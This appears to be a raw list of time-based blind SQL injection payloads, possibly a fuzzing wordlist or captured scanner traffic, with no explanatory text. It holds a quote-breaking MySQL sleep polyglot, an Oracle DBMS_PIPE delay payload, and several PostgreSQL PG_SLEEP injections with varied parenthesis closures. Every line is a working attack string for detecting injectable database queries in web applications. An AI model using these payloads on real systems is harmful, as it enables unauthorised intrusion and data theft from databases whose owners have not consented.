(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/     (select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98) CHR(98) CHR(98),15) from dual)     1 1) OR 182=(SELECT 182 FROM PG_SLEEP(15))-     1 1)) OR 273=(SELECT 273 FROM PG_SLEEP(15))     1 1)) OR 870=(SELECT 870 FROM PG_SLEEP(15))-     1 1 OR 402=(SELECT 402 FROM PG_SLEEP(15))-     1 1 OR 255=(SELECT 255 FROM PG_SLEEP(15))-